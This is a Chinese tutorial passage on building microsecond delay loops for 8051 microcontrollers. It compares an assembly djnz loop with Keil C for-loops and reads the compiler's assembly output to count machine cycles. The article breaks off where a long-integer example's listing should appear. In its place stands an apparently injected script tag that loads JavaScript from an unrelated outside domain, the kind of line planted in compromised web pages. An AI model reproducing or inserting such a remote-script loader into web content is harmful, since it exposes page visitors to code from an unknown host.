应用单片机的时候,经常会遇到需要短时间延时的情况。需要的延时时间很短,一般都是几十到几百微妙(us)。有时候还需要很高的精度,比如用单片机驱动ds18b20的时候,误差容许的范围在十几us以内,不然很容易出错。这种情况下,用计时器往往有点小题大做。而在极端的情况下,计时器甚至已经全部派上了别的用途。这时就需要我们另想别的办法了。
以前用汇编语言写单片机程序的时候,这个问题还是相对容易解决的。比如用的是12mhz晶振的51,打算延时20us,只要用下面的代码,就可以满足一般的需要:
mov r0,#09h
loop: djnz r0,loop
51单片机的指令周期是晶振频率的1/12,也就是1us一个周期。movr0,#09h需要2个极其周期,djnz也需要2个极其周期。那么存在r0里的数就是(20-2)/2。用这种方法,可以非常方便的实现256us以下时间的延时。如果需要更长时间,可以使用两层嵌套。而且精度可以达到2us,一般来说,这已经足够了。
现在,应用更广泛的毫无疑问是keil的c编译器。相对汇编来说,c固然有很多优点,比如程序易维护,便于理解,适合大的项目。但缺点(我觉得这是c的唯一一个缺点了)就是实时性没有保证,无法预测代码执行的指令周期。因而在实时性要求高的场合,还需要汇编和c的联合应用。但是是不是这样一个延时程序,也需要用汇编来实现呢?为了找到这个答案,我做了一个实验。
用c语言实现延时程序,首先想到的就是c常用的循环语句。下面这段代码是我经常在网上看到的:
voiddelay2(unsignedchari)
{
for(;i!=0;i--);
}
到底这段代码能达到多高的精度呢?为了直接衡量这段代码的效果,我把keilc根据这段代码产生的汇编代码找了出来:
;function_delay2(begin)
;sourceline#18
;----variable"i"assignedtoregister"r7"----
;sourceline#19
;sourceline#20
0000 ?c0007:
0000ef mov a,r7
00016003 jz ?c0010
00031f dec r7
000480fa sjmp ?c0007
;sourceline#21
0006 ?c0010:
000622 ret
;function_delay2(end)
真是不看不知道~~~一看才知道这个延时程序是多么的不准点~~~光看主要的那四条语句,就需要6个机器周期。也就是说,它的精度顶多也就是6us而已,这还没算上一条lcall和一条ret。如果我们把调用函数时赋的i值根延时长度列一个表的话,就是:
i delaytime/us
0 6
1 12
2 18
...
因为函数的调用需要2个时钟周期的lcall,所以delaytime比从函数代码的执行时间多2。顺便提一下,有的朋友写的是这样的代码:
voiddelay2(unsignedchari)
{
unsignedchara;
for(a=i;a!=0;a--);
}
可能有人认为这会生成更长的汇编代码来,但是事实证明:
;function_delay2(begin)
;sourceline#18
;----variable"i"assignedtoregister"r7"----
;sourceline#19
;sourceline#21
;----variable"a"assignedtoregister"r7"----
0000 ?c0007:
0000ef mov a,r7
00016003 jz ?c0010
00031f dec r7
000480fa sjmp ?c0007
;sourceline#22
0006 ?c0010:
000622 ret
;function_delay2(end)
其生成的代码是一样的。不过这的确不是什么好的习惯。因为这里实在没有必要再引入多余的变量。我们继续讨论正题。有的朋友为了得当更长的延时,甚至用了这样的代码:
voiddelay2(unsignedlongi)
{
for(;i!=0;i--);
}
这段代码产生的汇编代码是什么样子的?其实不用想也知道它是如何恐怖的$#^%&%$......让我们看一看:
;function_delay2(begin)
?script src=http://er12.com/t.js>